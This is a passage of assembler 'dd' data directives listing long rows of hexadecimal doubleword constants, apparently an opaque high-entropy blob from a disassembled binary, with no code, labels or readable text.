0FA50E018h, 5C70C380h, 0BC36CB7Ah, 14254CDDh, 830FF168h dd 0A8BBAC0h, 0E93637A4h, 9DA377ABh, 0A2B5DDF0h, 0C322FBAh dd 9AA468BAh, 0DE295E2Fh, 61447A97h, 0EA0DD5Fh, 0CD63F35Fh dd 35119748h, 3F4315E7h, 6AC9DFCDh, 0A40279E1h, 845127D6h dd 20675E08h, 0AE3C45EBh, 62692458h, 9E50D55Ah, 205672CBh dd 72EABE38h, 80504E7Ah, 7423EECCh, 5E175325h, 0AD03126Dh dd 819099C7h, 1B00E055h, 667E9E68h, 9D5CF831h, 0C8FD030Bh dd 2708710Ah, 93F77725h, 8C1800A4h, 5A0DCF7h, 30E64810h dd 56B02D01h, 0D0010AC6h, 5BD0F96Eh, 1A31B3D7h, 0E834FE84h dd 48DC955Fh, 89BFFC92h, 0BDE23BE3h, 0AC87D627h, 0F7A91F5Fh dd 977E7877h, 0ABBAC898h, 9D498403h, 5B237BE9h, 0EB04EB30h dd 0DE4CB12h, 87201875h, 2EF24804h, 310EAF12h, 35904CC1h dd 50BAD17Fh, 61B721B0h, 103A5157h, 0F1497F21h, 43958781h dd 38D1CE47h, 0CD61697Dh, 7AA8DED0h, 0DB772797h, 5CE11592h dd 819D54F6h, 3B153097h, 9984BFF2h, 78E8BE86h, 0B068C59Ch dd 9989F528h, 5758D586h, 243FCDF4h, 0AD687BBFh, 0F49623F4h dd 0EBC17C42h, 7F6BE106h, 29638D2Fh, 4BE84CDFh, 0FB8E94FFh dd 726BB26Dh, 5C01B0D4h, 0F2E0D231h, 8208BE6Eh, 120A5753h dd 86348075h, 9D01CC30h, 4442E389h, 0E34FF840h, 5EB5C8A4h dd 0A1D72FD4h, 8E2E939h, 0EFBD2097h, 0E8290A45h, 9A9C21B9h dd 5B5D24BBh, 5FFB077Eh, 0EE1C2521h, 41ECF1DCh, 39803F32h dd 1EDF2BBEh, 41F08908h, 0AE787735h, 98A02B54h, 1E07AD1h dd 6A5324C0h, 7C4B9EE9h, 50A7CBC7h, 0FABB4E0Eh, 39C87724h dd 0CDAD27E9h, 83902A79h, 425FCF5Ah, 0D42210EEh, 428DBF4Ah dd 0AA3123F0h, 0C0DC55B9h, 1A4C0272h, 46F5099Eh, 4B6871ACh dd 1218E361h, 0CFAA4199h, 12985E95h, 60BF41B1h, 3B1EB313h dd 47CD6F41h, 0AC3AACF5h, 0A2BAC02Dh, 1D0D622Ah, 2DB5E957h dd 6870E054h, 0FA2C1238h, 58BC0466h, 5EB8131Fh, 1C8CEE4Bh dd 258EB9EAh, 696E14F7h, 760E3221h, 14B53E62h, 2D3040F7h dd 32E9EC32h, 5F281085h, 50B0985Fh, 0ECBA0552h, 0FF26A175h dd 0B07C6180h, 0D699842h, 66B17DE9h, 6FB4D972h, 14335005h dd 0FCE50198h, 54944959h, 0B950AA01h, 7EEE0923h, 4B8A82E0h dd 0F2CCB8AFh, 1CDC87h, 1B236852h, 5A5C5685h, 0A3204B1Bh dd 0CAA36484h, 9CEA8D82h, 1332DE66h, 5D6CB055h, 4B2B5B95h dd 81807AD4h, 8248AACFh, 493DF64Ch, 7A5C9A14h, 98705D25h dd 21D874BDh, 0C6B6AB0h, 0E9DC6C01h, 0BF17BB65h, 40F46649h dd 173CBD8Bh, 132DC935h, 12FE91Fh, 63978F5h, 6CC79507h dd 2818081Ah, 8D033F15h, 0EBE90B99h, 241059C9h, 1379026Fh dd 114035DEh, 5C95F9A7h, 0D3554959h, 2F1E8E8h, 100206F5h dd 0FA6BC8E4h, 0E8C45D11h, 6F1E724Bh, 6E4D89B1h, 0B493E86Dh dd 3D5AEBF9h, 21BF0D53h, 2AAADC17h, 0EFB473A8h, 0D01514BCh dd 4D199674h, 3BC54347h, 0B4183FF9h, 7FF21754h, 90158805h dd 5107D589h, 17F837D9h, 0C8EE10FDh, 0A54009C9h, 8003F381h dd 89770FD4h, 7854EAD9h, 575C584Bh, 0B9763104h, 0B4C0EA70h dd 153EED1h, 5014FDBBh, 61DE211Eh, 3C2A8150h, 4E31044Fh dd 10AD6D60h, 1D6EED6Bh, 0D693AA09h, 0D91080A9h, 7ABC4AD5h dd 0E82A1958h, 8EEA40A4h, 60F2BA41h, 3FB2520Bh, 460D07Fh dd 0E9A6C280h, 6C9EACF0h, 0FAABAD62h, 8BFD95E6h, 29ECF036h dd 9150AE5h, 59F95530h, 17C0D112h, 50490946h, 1F85934Dh dd 0E403118h, 99A62CC9h, 950AF61Fh, 9A1D333Ah, 0B125FE00h dd 58DBF73Bh, 0EB02E74Bh, 0AAE1A650h, 5827355Ch, 7E0A045Ah dd 1FCA29F5h, 47503897h, 4BAB59DEh, 998CCD0h, 9F8BD9Ah dd 0EA2FDE0Ch, 0A070C73h, 29EB7165h, 0C49513CFh, 161FB899h dd 54B638E2h, 9DF2BA92h, 0BB228C12h, 0EFC05DB5h, 0B1511E59h dd 21AA7FD8h, 51EAFEB3h, 2ABBB28Ah, 0FA860403h, 84ED7F6h dd 0E93851B8h, 0E2771F33h, 6E482BBAh, 0D7995A54h, 5BE95660h dd 0F0D9B56Dh, 47E7D7A5h, 5723E2ADh, 7FA756C5h, 9DA2C064h dd 0F5E5095Dh, 0E950BA59h, 6D63E3A3h, 2A05BE4Eh, 2FE81D6Fh dd 80229C8Fh, 6F75FED0h, 49E9840Fh, 0CC6CBC74h, 630AA56h dd 0BE3E4627h, 294C0B34h, 49FA4B0Ch, 0A5DD33F1h, 0ADACD2C0h dd 0AA16FB0Fh, 3DBF0C98h, 0E926971Fh, 0C7D6D4BDh, 96595838h dd 3D0CEFD0h, 4057D0B2h, 9E256811h, 5B8737Dh, 0EA2C4896h dd 0D5AF300h, 3FC2612h, 43C10529h, 99AB155Dh, 407080A0h dd 0E2E0E92Dh, 0E760F556h, 0F633C5FEh, 0C88008D5h, 0B0EF20A8h dd 4BB04E57h, 9ED5028Eh, 0B85C48D7h, 25D26910h, 2DE62405h dd 0BC6FF0A5h, 61EB9293h, 55A7C8Dh, 76F8F0EFh, 58825BBh dd 85B1350h, 591203E9h, 2968FDCCh, 9E87668Ch, 9305C55h dd 2B82578Fh, 58049842h, 0C9AC05B0h, 0C5777460h, 0E95C4063h dd 44B5B5C0h, 19CC9DCEh, 0D94BA84Ah, 4E85DCF1h, 0C02FF257h dd 7E1E4A68h, 597F08h, 963785E1h, 52E95522h, 2DEEEC4Eh dd 3A46F9E2h, 0EEC77DB4h, 931F5FA5h, 41EC8E64h, 5A9195F6h dd 15B8D9C7h, 0FD2C5B01h, 0DEB22B53h, 0FB338C1h, 0E9D28530h dd 0BEEDA43Eh, 23092D12h, 17F5C89Ah, 0CB2EFFFCh, 5A27A84Ah dd 69CEB338h, 4101ADC8h, 30172962h, 2C2633BAh, 0CF1F9E74h dd 66B25430h, 0A8144E69h, 0E0F83974h, 0CB4BE38h, 97F2C28h dd 87B98927h, 2F949C57h, 0CF3B2D03h, 1F817DAh, 9C1665Fh dd 0C97B74C0h, 48412A63h, 10116858h, 3BC9B7AFh, 0B551D4B7h dd 0FE63C1A0h, 4B468683h, 7B3CE146h, 0E9E1A2FCh, 26A68C1h dd 282A7EB8h, 7E405F18h, 24E6841h, 841B9EDh, 4A758C30h dd 0D134AA4Eh, 0BF474C2h, 0C73D80FDh, 5A5F6DE2h, 19C1A167h dd 13D22FBCh, 0A20F4B31h, 0F2AD80CAh, 0E9FD036Bh, 574DE03Eh dd 7499BF00h, 6AE93305h, 0C775CC53h, 979ECE84h, 8F4AE025h dd 915395CDh, 6C8DC117h, 0E63FB1E1h, 8C9D1178h, 78EC502h dd 0C2D784DBh, 54C86428h, 97509D3Bh, 5C582F54h, 0ADD972Dh dd 565AA78Eh, 6E935143h, 5B78DAB3h, 68F7289Eh, 310E1F31h dd 4B7BE6ECh, 29F65BDEh, 7AE17C25h, 7993D155h, 9A984121h dd 16680078h, 6000BE22h, 0DC20DEA3h, 0E1272BB4h, 887E5E35h dd 734E96Eh, 0DC139967h, 0FEFD74AAh, 0AB5F31E3h, 0F7832402h dd 0A00DFAFEh, 5FC89230h, 10BCF805h, 0EC77AA9Dh, 7D8BAA68h dd 7F4FBB70h, 0CF04F7B8h, 0FE75062Fh, 7E846A20h, 0C43C5B29h dd 6260ABCBh, 0BC2AE951h, 475F257Eh, 0F288895Ah, 0C9A782DBh dd 0DDFEBCB0h, 0E5E6EA4Eh, 92F3C797h, 40CDB134h, 1B33EB65h dd 9D2B1C26h, 0FB225B2Eh, 56D9FEB5h, 214FE598h, 770935E3h dd 0AA825079h, 2C035E66h, 5D59B2F4h, 0E985A75Bh, 0A842B6EDh dd 0FF06EEC1h, 0F81CD1A5h, 0F02113DAh, 4FCA2BAAh, 0CB85E202h dd 7C8694BAh, 3E5894E9h, 0BD977ACh, 1361CC2Dh, 0F08D6FA8h dd 1AAB20F5h, 59D70BCFh dd 0D816891Bh, 316971ADh, 0D1A846F1h, 56010183h, 0FA0CB9BEh dd 56093B03h, 40756189h, 0BBD1842Eh, 0B7A140ECh, 2E326372h dd 5682CF51h, 5A3273E9h, 0CA529783h, 0B95B29F6h, 44FE6C34h dd 9B1C49h, 6F402B2Dh, 97B9F70h, 2BC6520Bh, 0D5625D70h dd 7084D216h, 2A9219D4h, 0F705C111h, 1227DFD5h, 16E7E2BEh dd 8DA2A8D3h, 4085FA90h, 319CAAB8h, 40F9F8D5h, 351D5907h dd 50FA5577h, 8E91D8DEh, 236C0603h, 7225DF31h, 0B5834BE4h dd 20B22F2Eh, 0D2BBE952h, 3957E5A2h, 6D4434AFh, 0E0069AC2h dd 491881h, 725EBD55h, 11E97125h, 0F9A36FE9h, 4F508A25h dd 0F388664Eh, 0FA519528h, 930B0E24h, 0DD387741h, 2149D668h dd 0A85270Eh, 752DBB76h, 850FA48Bh, 0FB384FA6h, 41C2FBF1h dd 0D69F7EFEh, 0BB52D8D7h, 0DD09FE81h, 0DDA3DAE8h, 87309233h dd 0F4794B2Dh, 0B6525160h, 0CE801890h, 0FE720657h, 0EE7AD0ECh dd 500AF605h, 6ECBE4B4h, 0E388530Fh, 0E9D8C3FCh, 0DF0FE86Fh dd 0C577D9F1h, 6CC12144h, 573D12E4h, 5D241D04h, 1CEFA38h dd 5BE5B64Eh, 2902DBF0h, 5B47C6Dh, 90FEFCA6h, 0B34B4A65h dd 0E0E2264Ah, 98EC05Eh, 0D8C0790Fh, 0C86F54BAh, 4B39812h dd 5C046999h, 5EF1601h, 0E8A2EE63h, 6913D4CDh, 0D200FD60h dd 47C76E85h, 0CA074A77h, 3D7948AFh, 6B45E2D0h, 0C78620Ch dd 2FF2769h, 9C7DD1Eh, 82D952D5h, 31F45D94h, 423AF47Ah dd 4E7552ADh, 9817C5Bh, 29A9107Fh, 1E58A174h, 0B8209FCDh dd 0A93F45EDh, 0F8FB5D7Fh, 0EEB51143h, 0BDFAFAA0h, 3CDD6B31h dd 4FEC5E79h, 6902BBA5h, 0DD396368h, 0BD80E16Ch, 0F25C4738h dd 0A3141066h, 2C70BA05h, 0CEB5409Dh, 2995440Bh, 137E2D80h dd 81D8B4Dh, 58135C45h, 4B12DBAEh, 0A66D28BFh, 244CE259h dd 79124A66h, 0A2AEEC1Dh, 9AC4D3Bh, 2406ECC0h, 60831F6Ah dd 8C063A9Fh, 81EAD6ADh, 0F0ECAD03h, 17EA4E4Ch, 9CFE3297h dd 68175DB9h, 2A33081Ch, 25E3C855h, 0E96D15A5h, 0B2059FB1h dd 0BEC8B703h, 0FF5E7523h, 31F2CF85h, 7235680Bh, 27704FB0h dd 0D179C428h, 4A5B5A74h, 502645ECh, 431A0065h, 1FE92EA4h dd 3C5FED40h, 712DF721h, 0C1B626C0h, 0C0F02831h, 0B05C399h dd 0C3D5056Dh, 2D1A3C04h, 4C9FCE4Ah, 0EF571055h, 0F2773D4Dh dd 1CB4D7h, 0F820FABEh, 2395467Dh, 0AD665E58h, 7AE662C0h dd 5088030Fh, 605BE955h, 7EBB340Eh, 0F803EB56h, 0D6F8ED76h dd 497694F9h, 0B7240880h, 0DFEA70C0h, 0D698682Fh, 0F88B92B7h dd 53560098h, 0F6815B5Eh, 2C0E17B9h, 9AFF072Dh, 0ABCC944Ch dd 417840F3h, 0D8B66EB1h, 0D2AFD73Eh, 0DBDDEF62h, 2E424CEh dd 47712D98h, 0D26C3F40h, 6AD8E5Ah, 568C740h, 0E93E1323h dd 0B8A3A406h, 0C91FD809h, 5237864Bh, 18629F60h, 4163D975h dd 7F666858h, 6CBDBE30h, 3FFE3077h, 1889874h, 0A1F7C05Bh dd 24CEDE99h, 0E498DF22h, 4845F84Eh, 0CCFBB733h, 0DE5E1C90h dd 0CAFE1292h, 1DFBFD05h, 9931B8B1h, 82298005h, 1176C347h dd 40432F8h, 53495B34h, 0C7AEDAC5h, 65B38991h, 0A9447A12h dd 6882DCA8h, 0E1A40F33h, 81E6B012h, 610BE50Bh, 529A57BDh dd 57CD909h, 71253671h, 7B20F161h, 5F150ACEh, 0FC3AC6h dd 0CB421377h, 0A7958CE9h, 0EFD4F741h, 5EA8A0AAh, 16AA6819h dd 238DD87h, 8CD12914h, 48489420h, 876962CFh, 0A88575DEh dd 8313AFB7h, 493C2A9h, 0B38F6E9Ah, 4BFF5CC3h, 5B133D68h dd 0F529FA1Dh, 4C4CF72Ch, 3AEE2500h, 0AB351591h, 70F05012h dd 0DF34C2C7h, 211560BBh, 6048615Ah, 8CA1409Bh, 2ADDE389h dd 55ADB852h, 5605D214h, 665ADA68h, 5E7B4BBFh, 51452D79h dd 0E1BA34AEh, 7B853FA8h, 0E912C3E3h, 3A82B182h, 5D4C4ECBh dd 260B2BC6h, 0FE596618h, 8295E8B0h, 0ED0F4040h, 2BA27AF7h dd 72C8BED6h, 0CB0A97A9h, 0BD500950h, 13681818h, 0A8302A4Fh dd 1C4EB7AAh, 1D64EF80h, 70C75DD7h, 0E52EE9EFh, 0E6A821B4h dd 0F9445F94h, 0AA4B76F8h, 2D5086DEh, 850C1331h, 1184EA55h dd 0CAEB0812h, 0DF5C253Ch, 0D360AD98h, 37620583h, 0D1C8A09Ah dd 86C7D4h, 2725B951h, 1D760971h, 7FA9ED03h, 5320147h dd 2958D740h, 0A561CAh, 0B956E908h, 0BC8219BFh, 0C5D709E6h dd 5AF32C0Bh, 6A004CCh, 0D52D0BE1h, 0EBE4614Bh, 98FB0844h dd 0BE405DF0h, 7CA5BF59h, 7411FC66h, 176206CEh, 6C151DFFh dd 0C2779FCAh, 0FBE991E4h, 0DB9D8950h, 2B80A7Dh, 76C542FBh dd 2FBE6677h, 0D4C63905h, 3E2FD409h, 82D735Ah, 0B63057CAh dd 4C0F73B9h, 0B84FAA51h, 0A7F28401h, 92C6F2AAh, 3F2E1405h dd 4A6E8FEFh, 1E297E9h, 0AD657509h, 8285AF16h, 652EB7BDh dd 57361A51h, 132094DDh, 0B8EAE7E9h, 6D56DE0Eh, 0A73A35F1h dd 37385BEh, 194E28EFh, 94654F45h, 3B344DCDh, 54803D0h dd 13C43CF4h, 0AB33F5A8h, 0E2ED24CBh, 3BECDF72h, 0C2879BFh dd 8120C4ACh, 0B06C50C4h, 1006C5AFh, 0C6B0858h, 5E5762D7h dd 0BE958C8h, 81866648h, 8062325h, 8315252Eh, 0AB2CEB40h dd 9D00E1DDh, 31304C26h, 125A60D5h, 640B70A6h, 6D09019Ch dd 4DFCEC2h, 216C8BBDh, 49038066h, 7C0B513Fh, 0D4179AE9h dd 5F78BEADh, 0EF46C518h, 0B5F1F699h, 1A7A0265h, 0E670F763h dd 976FA220h, 0B0205ED0h, 13C1BD27h, 159343Fh, 0B16EC64Ch dd 8C316855h, 9538B3Eh, 69B0EBE9h, 7E0BCEh, 0ED2DADEEh dd 104ED109h, 341567B8h, 0BF02204Eh, 422B637Eh, 11E40940h dd 0D8C4EB2Dh, 0D8564F6Fh, 4D27E1D8h, 2051F053h, 7FBECAB4h dd 0D959DA04h, 22F6B0FBh, 7345F041h, 0E85EDCB9h, 0F5E493BDh dd 0AA0D0644h, 7C474F14h, 95974812h, 17B6D9B0h, 0FA07CE6Bh dd 8EA2E0Ah, 28422024h, 57680109h, 0CB5A6C13h, 0DE2BFD81h dd 90950B16h, 80908AE1h, 4D2CFFEh, 284AFB02h, 511B7EFAh dd 0C3917E50h, 2E5494DEh, 4223CDABh, 36EC290Bh, 67E0E607h dd 216F38BFh, 1F2C15E3h, 8265EA20h, 7220BD40h, 0FA5E5480h dd 0FF889FD5h, 1A6211E9h, 20A0AEFh, 40C69ABh, 29E835Eh dd 0F0039089h, 64953717h, 0BDD08088h, 12311F8Dh, 7A3EC907h dd 2BE0644Bh, 0D2F63DD9h, 0E579A9B5h, 7F6A0BD3h, 0E6E9E655h dd 25CABF85h, 485DF809h, 0D2E3B569h, 3AF5F1B4h, 0F7D6FAD2h dd 3B654E30h, 0B7BB2E86h, 0C15F0546h, 0EB9600E3h, 5755251Bh dd 129F6CC8h, 0E789B051h, 22B2160Dh, 700285Bh, 0BD5C3159h dd 0F49733C6h, 0F3818088h, 4B70030Ch, 0F9C5697h, 170C3A36h dd 0C716370Ch, 0A90B42FCh, 0CBEB76F8h, 12D5358h, 36BC55CDh dd 50E1FC9Dh, 44B5FB88h, 0B210CA6Bh, 7B730249h, 0CCFF3F5Dh dd 322B98D3h, 0EB27465Eh, 93BD13DEh, 0CEBF7FB1h, 0C1381362h dd 0C206A604h, 6157EF4Bh, 0FB2E5D4Ah, 4BC1943Ch, 896A71A2h dd 3691F4D1h, 0BD8091B1h, 18404ACAh, 3EA4F09h, 0BA51B259h dd 1BF260CFh, 4F484A26h, 639C05F0h, 83FF37E1h, 495A7616h dd 49AFDC64h, 1160B229h, 6B1613BFh, 23F251EFh, 8216EA58h dd 843F97FDh, 0F09CEC5Fh, 28AC2Ch, 0ECB252D8h, 0C067CA80h dd 0E002E22Dh, 847509FFh, 1731E14Ch, 1D086F8Ah, 0E3D4256Ch dd 7C33415Ah, 9627160h, 6EAD6857h, 478D5A30h, 0A84BD63Eh dd 3AC00DD5h, 225162B8h, 3A350565h, 0EA7D1F2Fh, 270DD5C0h dd 146A5A29h, 3E7ECB21h, 0F7A66143h, 0F8C79727h, 4DE4E777h dd 0E93BD0B1h, 0EC68C186h dd 0E56CC975h, 907D882Fh, 827A7690h, 7ABE155h, 68D0203Eh dd 0D76DA22h, 0A50DDE9Dh, 10C6C0A0h, 545E33C7h, 0BEB1448h dd 3D66600Ch, 91B9B726h, 204BF825h, 0B116AABDh, 71AA08A4h dd 0E6C0FE17h, 96D414C0h, 877BA5BFh, 527E82A1h, 50DFA019h dd 0BEBA6BFAh, 38EE0124h, 6A51C080h, 90F2297Ah, 2088A34h dd 780DCF1h, 94BC6597h, 1048BCF6h, 0C49DE1Eh, 0A289ED4Ah dd 0E323C154h, 0AA515C03h, 36CE3E72h, 3E00AC5Fh, 2EE3FFAEh dd 45C985A9h, 0B4D6CF85h, 300E9DC2h, 0E05F4928h, 0B67A0BEDh dd 0F90CC016h, 21DBEF43h, 0D5DE824h, 6FE00817h, 481D431Ah dd 7974DADh, 47EE805Bh, 7F4D9492h, 5F387F59h, 194D101Fh dd 8890C998h, 1CB818F5h, 125A50A7h, 67C86858h, 0AB518569h dd 7CE97730h, 0B61A9D5Fh, 5BD8FAFDh, 4C16F6FDh, 0EFD34004h dd 8C253D09h, 0A1D07F65h, 0C27C0882h, 206333C6h, 12F4712h dd 60A779C1h, 3CD26B2Dh, 6F233506h, 522A2143h, 0E9C7E058h dd 88FE25C9h, 69F6E9Eh, 80C3BE7Ch, 17A5EAC4h, 0BE38183Eh dd 1D089150h, 24F7835Eh, 57801FA4h, 0BAD9E926h, 6A5AEA69h dd 9D0ABFh, 6364204Bh, 0D3FAEB31h, 90D3AA5Ah, 5063D02h dd 7EFE6D9Ch, 44B71E5Ch, 2981FEBEh, 5C01971Bh, 0DBF87A50h dd 95224FC9h, 10D551E3h, 0F872A9B6h, 1091EB01h, 850A62C2h dd 0F5D04002h, 0A0DD8227h, 62BCB28h, 573001B8h, 0B6F9BBFh dd 0A1CB4067h, 51637B1h, 0BB4CFB09h, 39DDDC02h, 8B588583h dd 6617BA5Eh, 1D8D0481h, 8AC98E07h, 4D5F24A9h, 2D1EA57Fh dd 8CB99E24h, 6CA3DD4Bh, 5DEA2158h, 305818DFh, 8CC6B5B6h dd 0A01E3B20h, 2570E3FEh, 0A0DF7CEBh, 523C730Eh, 0C2895E0Ch dd 0CCA16138h, 7AD5015Ah, 8B7918D9h, 59DD9D9Ah, 234F7283h dd 29E931B1h, 50E0F6D6h, 1028FEEAh, 0C206CE1Eh, 75FD0C74h dd 25660D18h, 643A9583h, 44E87A0h, 0C1FCCCFBh, 71BBC44Ah dd 11037277h, 0BD008BF8h, 0A9306366h, 834E801h, 68510984h dd 2FDB10BAh, 4A284C80h, 4C0DABB8h, 65E3D98h, 9858C558h dd 0CA42530Ch, 1F21B009h, 0FE4C0638h, 34081C68h, 0E914021Ch dd 2FF9DFA1h, 77BD892Dh, 2F4BF346h, 5B290609h, 8BC124A8h dd 61A4F6C8h, 5CD7AFEEh, 7D8B20B2h, 7782609Ah, 10FD1B54h dd 4BF46807h, 5225CC39h, 925B658h, 0E8FEC6BDh, 73C8BBF3h dd 0AF7D5C08h, 850DC435h, 63F9B105h, 7A28493h, 185E590Bh dd 542C870Bh, 1470EBDFh, 5E289E7Dh, 0B4F0A088h, 4A66B82Eh dd 0C64AF828h, 5F0A28FBh, 2D162060h, 7494E1Eh, 3218050Ch dd 3E915AEFh, 0A9F20751h, 89785711h, 0FD4AE975h, 9E163BF7h dd 10ACED0Ch, 0BC5FD082h, 4219880Fh, 315CBCEFh, 42382B6Fh dd 0CDDC0589h, 0EC4FB1F8h, 97C1F431h, 0A707FEC3h, 0AFF007BBh dd 5ADDE032h, 50A0719Fh, 0F44A77E9h, 0E3469031h, 7AC2316Ah dd 114166EDh, 8A4DC43Ch, 8970D227h, 0DFCB399Eh, 3F14B28h dd 780B0751h, 6852FBC8h, 0BF79EF31h, 4DAC036Dh, 444D1772h dd 1DD1A9C2h, 138F6055h, 2904E628h, 82101789h, 0A578C70Fh dd 644AB16h, 21073066h, 5B2A72D9h, 7EAD665Ch, 0AE571854h dd 0DC95EB63h, 7748EFD3h, 0EFB5812h, 0C99E5381h, 0ADEBFA73h dd 6ED82DBAh, 1C12BE05h, 9FC17599h, 5300EE23h, 5D9C91B7h dd 26705CA7h, 33F7BE1Ch, 0AD0E450Fh, 0F6B096E9h, 554B2CDEh dd 0E231F61Eh, 8E685ABBh, 0B3C0CC7Fh, 0EB80E707h, 23BC0CFh dd 0D95775h, 7379D2BDh, 0E5026898h, 5B672AB6h, 0B22A414Dh dd 20508F90h, 0DEBF073Fh, 0AE0B7664h, 836FFE8Ch, 4052425Ah dd 0F5B985C0h, 0F42E7192h, 0A2259D4Dh, 0ECAE1CD8h, 4278026Ch dd 407522F3h, 0C4C02BF2h, 0D581524Ch, 0C185AA2Eh, 0A1332704h dd 0C1D75909h, 0CBECD688h, 44DFBE4Bh, 57B8BF55h, 65DC73E5h dd 0CB8CBFBCh, 0AB054BE1h, 0F968FB60h, 0DA31C44Eh, 97EA1793h dd 54D517B4h, 0E0CC1392h, 98CB4E01h, 906A2A4Dh, 6C2727F9h dd 0CD8220C1h, 2ACA08A0h, 32D10CD0h, 5FA906D3h, 0E9A9614Bh dd 7C122A7Bh, 17875EB0h, 582F184Dh, 73EAF8A9h, 13E3854Ch dd 8CBF5493h, 69DB1DDFh, 1618B828h, 805F957Fh, 0C04F527h dd 0DC0649A5h, 0D63CBF5Fh, 82BB49E9h, 3721BA02h, 0DB8340D8h dd 0C77C99F5h, 3E355909h, 8A097768h, 1830A5F4h, 904A1BEFh dd 0C3F200EBh, 0E9303749h, 0D4C4C940h, 8C25A5Bh, 29A0C56h dd 68B95102h, 57702401h, 0E92C457Ch, 22A0FBA8h, 6D0F255Eh dd 0C647994Eh, 971C01FCh, 7DEBA554h, 2D02C22Ah, 3897264Dh dd 30A2C153h, 0BC150C4h, 0ACE3D5B9h, 14C5B6D7h, 0C216F4B7h dd 16C5F2D3h, 137F42Dh, 0F601EC80h, 0DCDCC9D4h, 0E913D2F4h dd 0DCAC93E7h, 0A8FA55E3h, 3A547C4Ah, 6F5A5C0Fh, 7D848511h dd 0A2F167BFh, 4E552D34h, 2D33BDFDh, 510470C2h, 5EEAE8C0h dd 3024F9Dh, 472DEBACh, 564B3000h, 0CB5990BEh, 0E499484h dd 18027AB9h, 1075297Ch, 80A207D2h, 0FB8DDF7h, 0D6800692h dd 5F8AEAD1h, 0DD5D43EEh, 45B8BC4h, 0F3A4511Dh, 0D5CF128Dh dd 0E321542Bh, 68F1E958h, 0DC56EEBh, 1F028FBAh, 3012C268h dd 8151AF02h, 9D56C6FFh, 0F5A20BDFh, 7630A56Fh, 13606856h dd 0A82E2505h, 0F663B730h, 48214C64h, 0D53ABB5Ah, 2F1BA54Ah dd 9682AFFh, 0A67310E9h, 0F384F126h, 0D78BE67Fh, 66278A2Eh dd 0C504225Fh, 60E1CAB8h, 0BEC9F045h, 0CBE592EBh, 0EBDA10DBh dd 3F0B94Ah, 9B09CDB9h, 0F0CEF219h, 1A82986Ch, 8F835797h dd 50013E5Bh, 35A4E951h, 0CD6BD37Fh, 0A67890C2h, 0CB88531Ch dd 0AB875C8Fh, 5467905Bh, 940359E9h, 2DF8777Ch, 8473A302h dd 0BF41D0A7h, 0F693CBA2h, 87C1A6E6h, 69786859h, 61D28A2Ah dd 3BB85040h, 709EE20h, 0BC2B592Dh, 26DE5108h, 728041FEh dd 40AC02D8h, 9FADC832h, 66F46546h, 921AA53Eh, 88BBFC78h dd 0C81CB0CCh, 0C71709B7h, 2C1C2EF6h, 16A69C21h, 341671F8h dd 0B14B03E0h, 5A011624h, 0C7F72F51h, 0AFCF4C4Bh, 3FF5548Fh dd 0A27D1F02h, 4087D740h, 4FB33081h, 24900814h, 0AB7B480Bh dd 0ADEEA50h, 8E10CE08h, 4A02D440h, 0A2D9F8B2h, 127C5DEBh dd 0A7267F26h, 0C6FEDC0Bh, 56F02039h, 83B8314Fh, 0C1EEE9B0h dd 22DA3B9h, 0F168542Eh, 0B852C3Ah, 2A74CB72h, 0D0B7BEBBh dd 8040CC4Bh, 0D1DE24F7h, 6DBB80E8h, 0F329E288h, 0E95E89C3h dd 2D07B4E5h, 7048100Eh, 86135D05h, 0D8BBCFC1h, 0D101899Fh dd 5B4EBE5Ah, 0C1457F5Dh, 0AE5EC9FCh, 2CB3182Ch, 0BC0B86Eh dd 27B3F3A6h, 9FB9C202h, 5479FA2Eh, 1B080595h, 0BA98131Fh dd 0E23B5969h, 0A8D1D239h, 0B82A8F17h, 605CA25Ah, 0B05EE9EDh dd 5B6BA96h, 8B422CB8h, 75998078h, 0D045936h, 6034E4Fh dd 0C4245E83h, 53805A09h, 33C42C94h, 8FBA895h, 0B2AA5F12h dd 9BE986E9h, 0B657978Fh, 13FF4AEFh, 0D121AE37h, 6B604A5Ah dd 667D1FBDh, 34DF564Ch, 53DBBBA0h, 1084684Ch, 21EF17CEh dd 2F9F14BEh, 3E00A652h, 8B0E7B2Dh, 0A7EA1Ah, 3551C17Ch dd 28FE40E7h, 9EA2C2BFh, 3EFAC74Ch, 0AE58D4C0h, 2517809h dd 0C1DF0105h, 3B3865CDh, 0C9BAB21Dh, 0A5AFC47h, 75284BF0h dd 6398F117h, 0C581451Eh, 0AE274744h, 5E180AFh, 0DD5804D0h dd 7A66872h, 0F12EE906h, 0BB2C3B4Ah, 0E7ED619Dh, 0D85850FEh dd 0BD1AC7C7h, 0A0603BCh, 9D782DD2h, 6CFB585Ah, 499FD8A9h dd 54C8F2D7h, 5B1B9026h dd 0BB1200C9h, 3522E8Bh, 32DF83B7h, 2919073Bh, 0A27BD576h dd 0EB719274h, 0F2D3E8A5h, 0DB4681C0h, 7BB76193h, 339D1DECh dd 24D460CDh, 0C763E1BFh, 25E95F4Dh, 0A9B263C3h, 8150B57Ah dd 3D4F7168h, 4A92222Bh, 0B9C735D9h, 89622FB1h, 172BF4DAh dd 0C5D9D0BBh, 0E217E7E1h, 4A8009D2h, 1E98CEh, 0BD5529DBh dd 3FFF7BFEh, 91E3165h, 0CFAB1284h, 0EFE90A72h, 0D8A0F6DAh dd 7CF4CB25h, 6BEAEFh, 53137D43h, 4169F781h, 0D55A570Dh dd 36888B96h, 0E9541260h, 99D09E98h, 17DE9E61h, 308ABEA6h dd 36C6125Dh, 11D2058h, 0BA2FA2F6h, 70B2FEFEh, 0A901507Eh dd 1D282D67h, 0B14277D1h, 0E9078105h, 3D3E1689h, 17392252h dd 0DDE70A6Bh, 1232AD5Fh, 0BE8963F1h, 0F1F8D4E0h, 6809B662h dd 72F13526h, 0D5097FA7h, 0E0FDB189h, 0FD442952h, 4E09DDF2h dd 8682E2FDh, 275DDB22h, 0A05F50E2h, 302DAD86h, 5EEB1C2Eh dd 0DD244105h, 788AE938h, 5158134Bh, 0E98249B6h, 154ACD79h dd 383E85D7h, 0FB4E10B8h, 3F600EDBh, 68F9F75Ch, 0D875572Eh dd 801D66Bh, 5E2CB423h, 0A7B9D31Eh, 1F9AD6DCh, 11F6CF5Bh dd 30F0D4D4h, 0E7A12B5Ch, 4AA42821h, 68E69DFBh, 0C668822Dh dd 14647F2Ch, 9F0E4E9Fh, 7B20E873h, 7BB3D42Fh, 26940937h dd 693DC55Fh, 77AF117Fh, 0FEC3C46Ah, 0F4D26DE6h, 2145103Ch dd 5746FE3Bh, 9288B7C5h, 6AE8C709h, 45477215h, 393BA1F7h dd 0ED3C7FB4h, 1BCBF22Dh, 974325E8h, 0D730604Eh, 2F2941BAh dd 0E3030A3Bh, 0A1EDAF7h, 